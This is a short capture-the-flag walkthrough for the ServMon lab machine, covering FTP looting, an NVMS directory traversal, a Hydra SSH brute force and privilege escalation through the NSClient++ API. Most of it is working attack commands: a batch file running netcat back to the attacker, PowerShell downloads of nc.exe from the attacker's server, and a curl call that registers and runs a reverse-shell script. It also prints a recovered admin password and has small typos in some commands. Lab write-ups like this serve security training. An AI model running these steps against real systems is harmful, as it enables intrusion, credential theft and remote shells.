SERVMON(10.10.10.184)

1. Go through the ftp (Grab 2 important files)
2. Nvms directory traversal exploit
(through **msf** change location to /users/nathan/desktop/passwords.txt)
3. Make 2 files i.e users.txt and passwords.txt and use HYDRA
(hydra -L users.txt -P passwords.txt ssh://10.10.10.184)(ssh nadine@10.10.10.184)
4.get the shell and user
5. Now do PE through NSClient++
6. For root we have to do all the work In root of our system(su -)
7.

```
root@kali:~# locate nc.exe
/usr/share/windows-resources/binaries/nc.exe
root@kali:~# cp /usr/share/windows-resources/binaries/nc.exe
cp: missing destination file operand after '/usr/share/windows-resources/binaries/nc.exe'
Try 'cp --help' for more information.
root@kali:~# cp /usr/share/windows-resources/binaries/nc.exe /root
root@kali:~# nano evil.bat
```

8. In evil.bat(@echo off
C:\tmp\nc64.exe -e 10.10.15.43 443 poweshell)
9. python -m SimpleHTTPServer 80
10.

```
nadine@SERVMON C:\Users\Nadine>cd /

nadine@SERVMON C:\>cd "program files"

nadine@SERVMON C:\Program Files>cd nsclient++

nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password -display
Current password: ew2x6SsGTxjRwXOT

nadine@SERVMON C:\Program Files\NSClient++>cd /

nadine@SERVMON C:\>powershell.exe wget "http://10.10.15.43/nc.exe" -outfile "C:\temp\nc.exe"

nadine@SERVMON C:\>powershell.exe wget "http://10.10.15.43/evil.bat" -outfile "C:\temp\hi.bat"
```

11. Now (nc -lvnp 443)
12.

```
nadine@SERVMON C:\>cd temp

nadine@SERVMON C:\Temp>curl -s -k -u admin -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/hi.bat --data-binary "C:\Temp\nc.exe 10.10.15.43 443 -e cmd.exe"
Enter host password for user 'admin':
Added hi as scripts\hi.bat
nadine@SERVMON C:\Temp>curl -s -k -u admin https://127.0.0.1/api/v1/queries/hi/commands/execute?time=3m
Enter host password for user 'admin':

nadine@SERVMON C:\Temp>dir
 Volume in drive C has no label.
 Volume Serial Number is 728C-D22C

 Directory of C:\Temp

22/05/2020  08:39    <DIR>          .
22/05/2020  08:39    <DIR>          ..
22/05/2020  08:38                51 exploit.bat
22/05/2020  08:39                56 hi.bat
22/05/2020  08:38            38,616 nc.exe
               3 File(s)         38,723 bytes
               2 Dir(s)  27,852,001,280 bytes free
```

13. Wait for some time we will get the shell on nc.